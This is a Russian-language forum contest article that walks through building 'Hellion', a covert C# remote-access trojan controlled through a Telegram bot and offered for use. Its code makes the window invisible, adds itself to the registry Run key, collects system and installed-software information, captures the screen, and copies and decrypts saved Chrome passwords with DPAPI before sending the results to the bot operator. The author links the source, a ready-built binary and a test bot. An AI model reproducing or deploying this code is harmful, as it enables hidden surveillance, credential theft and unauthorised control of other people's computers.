Статья для участия в Конкурсе программистов
RMS Hellion, управление которой происходит через Telegram бота. Производства отечественной компании(то есть чисто меня) специально для Codeby.
ВведениеВсем доброго времени суток. Это моя первая статья, поэтому прошу простить мне какие-нибудь неточности. Начну с того почему я выбрал способ управление зараженной машиной, именно, через Telegram Bot. Все очень просто, во-первых нам не нужно думать о серверах, сокетах и прочих вещах. Во-вторых мы можем с любого устройства управлять машиной(так как все происходит через умного бота).
- Возможность скрытой установки и работы;
- Связь через Telegram;
- Файлы самой программы не детектируются;
- Авто запуск при старте системы;
- Сбор сведений;
- Выполнение CMD команд;
- Работа с файлами;
- Захват экрана;
- Кража паролей(Chrome);
- Простота использования;
Начинаем кодить
Шаг первый. Создаем оформление бота через Botfather
BotFather — это бот, через которого регистрируют все остальные боты. Давайте откроем telegram и перейдем по ссылке — BotFather
Собственно сейчас нас интересует команда /newbot, пишем ее и создаем бота указывая его название. Я назову своего бота — Hellion. Нам выдадут токен. Создаем пустой проект WinForms C#, создаем класс Data, где мы будем хранить важные данные и вставляем туда наш токен. Пишем в стиле ООП.
C#:
class Data
{
private String _Token = ""; //переменная для хранения токена
public String getToken()
{
return _Token;
}
}
Пишем под Visual Studio 2017. Нам необходимо подключить библиотеки.
- Telegram.Bot;
- System.Data.SQLite;
- System.Security.Cryptography.ProtectedData
Наша задача сделать форму прозрачной(Opacity 0%), FormBorderStyle(None) и с минимальными размерами Size(0;0), также убираем видимость в панеле задач ShowTaskBar(False)
Наша задача создать worker который будет асинхронно получать команды от бота и их обрабатывать. Открываем главный класс и вставляем:
C#:
BackgroundWorker _bw;
public Hellion()
{
InitializeComponent();
this._bw = new BackgroundWorker();
this._bw.DoWork += this.Work; //сам метод который будет работать асинхронно
if (this._bw.IsBusy != true) this._bw.RunWorkerAsync(); //если у нас нет копии воркера то запускаем
}
C#:
async void Work(object sender, DoWorkEventArgs e)
{
var worker = sender as BackgroundWorker; //ссылка на вызвавший событие
Data _data = new Data(); //экземпляр класса Data для получение токена
var _key = _data.getToken(); //сам токен
try
{
var _bot = new Telegram.Bot.TelegramBotClient(_key); //инициализация API
await _bot.SetWebhookAsync("");
int _offset = 0; //переменная для хранение последненго id сообщения
//бесконечный цикл
while (true)
{
var _updates = await _bot.GetUpdatesAsync(_offset); //что-то вроде списка обновлений
foreach (var _update in _updates)
{
var _msg = _update.Message; //получаем обьект - сообщение
_chatId = _msg.Chat.Id; //присваеваем переменной id чата
if (_msg.Type == Telegram.Bot.Types.Enums.MessageType.Text)
{
...
C#:
class CompareString
{
public bool compare(String temp1, String temp2)
{
//проверка содержиться ли в temp1 текст temp2
//+ переводим в нижний регистр
if (temp1.ToLower().Contains(temp2.ToLower())) return true; else return false;
}
}
C#:
_keyboardStart = new Telegram.Bot.Types.ReplyMarkups.ReplyKeyboardMarkup
{
Keyboard = new[]
{
new[]
{
new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Info"),
new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Control"),
new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Steal"),
new Telegram.Bot.Types.ReplyMarkups.KeyboardButton("/Help")
}
},
ResizeKeyboard = true
};
Код:
if (_compareString.compare(_msg.Text, "/start"))
_sendMsg.sendText(_chatId, "", _replyBtn.getKeyboardStart());
Код:
//отправка просто сообщения с текстом
async public void sendText(Telegram.Bot.Types.ChatId _id, String _text)
{
if (!string.IsNullOrEmpty(_text.Trim(' ')))
{
var _bot = new Telegram.Bot.TelegramBotClient(_data.getToken()); //инициализация API
await _bot.SetWebhookAsync("");
await _bot.SendTextMessageAsync(_id, _text); //отправка сообщения боту
}
else
{
//какое-то действие если сообщение пустое
}
}
Data Protection API (DPAPI) — криптографический интерфейс программирования приложений в ОС семейства Windows, обеспечивающий защиту (конфиденциальность) данных путём их шифрования. Взято с вики не ругайтесь. Основная цель этой технологии защищать пароли без гемора для пользователя, но затруднять доступ для злоумышленников.
Если кто-то хочет узнать поподробнее, то вот держите - DPAPI на пальцах
"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\".
. По факту это простая sqlite база данных. Но есть одно НО пароли хранятся не в открытом виде, а нам нужно их достать и отправить. В таблице 'logins' нас будут интересовать следующие колонки origin_url (ссылка на сам сайт), username_value(логин), password_value(пароль)
. Опять создаем класс который будет извлекать и дешифровывать данные.
Кстати, прежде чем работать с БД, нам необходимо ее скопировать.
Объявление нужных переменных
Метод для копирование БД:
Метод который будет дешифровывать наши пароли:
Для того чтобы получить расшифрованные пароли, нам необходимо воспользоваться методом ProtectedData.Unprotec, в качестве аргументов она принимает байты которые нам необходимо расшифровать, энтропию, и уникальные данные текущего ПК. Если кто-то не знает, то расшифровать пароли можно только на том ПК на которым они были зашифрованы.
Объявление нужных переменных
Код:
private static String _pathLocalDB = @"Login Data"; //название БД
private static String _pathSystemDB = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; //путь где лежит БД
private static String _fieldDB = "logins"; //имя поле базы данных
private static byte[] _entropy = null; //энторпия
C#:
private void copyDB()
{
System.IO.File.Copy(_pathSystemDB, "Login Data", true);
}
C#:
byte[] _byteArray = (byte[])record[2];
byte[] _dectypt = ProtectedData.Unprotect(_byteArray, _entropy, DataProtectionScope.CurrentUser);
String _password = new UTF8Encoding(true).GetString(_dectypt);
Можно добавить расшифровку с браузера Firefox. Насколько я знаю — там используется алгоритм Triple-DES, а ключ находится в файле key3.db. Ну а пароли в signons.sqlite. Тем самым добавив функционал в RMS.
Метод который делает скрин и сохраняет его:
Код:
Bitmap _bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics _g = Graphics.FromImage(_bitmap as Image);
_g.CopyFromScreen(0, 0, 0, 0, _bitmap.Size);
Image _img = _bitmap;
_img.Save("snap.png");
Метод в классе SendMsg который отправляет изображения:
C#:
async public void sendImage(Telegram.Bot.Types.ChatId _id, String _text, String _localPath)
{
var _bot = new Telegram.Bot.TelegramBotClient(_data.getToken()); //инициализация API
await _bot.SetWebhookAsync("");
try
{
using (System.IO.Stream stream = System.IO.File.OpenRead(_localPath))
{
await _bot.SendPhotoAsync(
chatId: _id,
photo: stream,
caption: _text
);
}
...
C#:
class AutoRun
{
public AutoRun(bool autorun, String _name)
{
string ExePath = System.Windows.Forms.Application.ExecutablePath;
RegistryKey reg;
reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
try
{
if (autorun) reg.SetValue(_name, ExePath);
else reg.DeleteValue(_name);
reg.Close();
}
catch{}
}
}
Краткая информация о системе:
Информация об установленном ПО:
Также имеется сбор информации о дисках, памяти, видео ядре и много другого
C#:
public String getInfoLittle()
{
if (System.IO.File.Exists("info.txt")) System.IO.File.Delete("info_small.txt");
info_temp = "Версия Windows: " + Environment.OSVersion + "\n" +
"64 Bit операционная система? : " + (Environment.Is64BitOperatingSystem ? "Да" : "Нет") + "\n" +
"Имя компьютера : " + Environment.MachineName + "\n" +
"Число процессоров : " + Environment.ProcessorCount + "\n" +
"Системная папка : " + Environment.SystemDirectory + "\n" +
"Логические диски :" + "\n" +
(String.Join(", ", Environment.GetLogicalDrives())
.TrimEnd(',', ' ')
.Replace("\\", String.Empty));
using(System.IO.StreamWriter sw = new System.IO.StreamWriter("info_small.txt", false, Encoding.Default))
{
sw.WriteLine(info_temp);
}
return ("info_small.txt");
}
C#:
public String getInfoApplications()
{
if (System.IO.File.Exists("info_app.txt")) System.IO.File.Delete("info_app.txt");
ManagementObjectSearcher searcher_soft = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Product");
foreach (ManagementObject queryObj in searcher_soft.Get())
{
info_temp += "<soft> Caption: {0} ; InstallDate: {1}</soft>" +
queryObj["Caption"]+ queryObj["InstallDate"];
}
using(System.IO.StreamWriter sw = new System.IO.StreamWriter("info_app.txt", false, Encoding.Default))
{
sw.WriteLine(info_temp);
}
return "info_app.txt";
}
Исходники:
Ссылка скрыта от гостей
Сам готовый RMS:
Ссылка скрыта от гостей
Вот ссылка на бота, с помощью которого вы можете протестировать ПО - @hellion_admin_bot
Если будут вопросы, проблемы можно писать мне сюда либо в телеграмм @debug_x
Также могу приложить скрины как это выглядит прямо в Telegram Bot:
Видео по настройке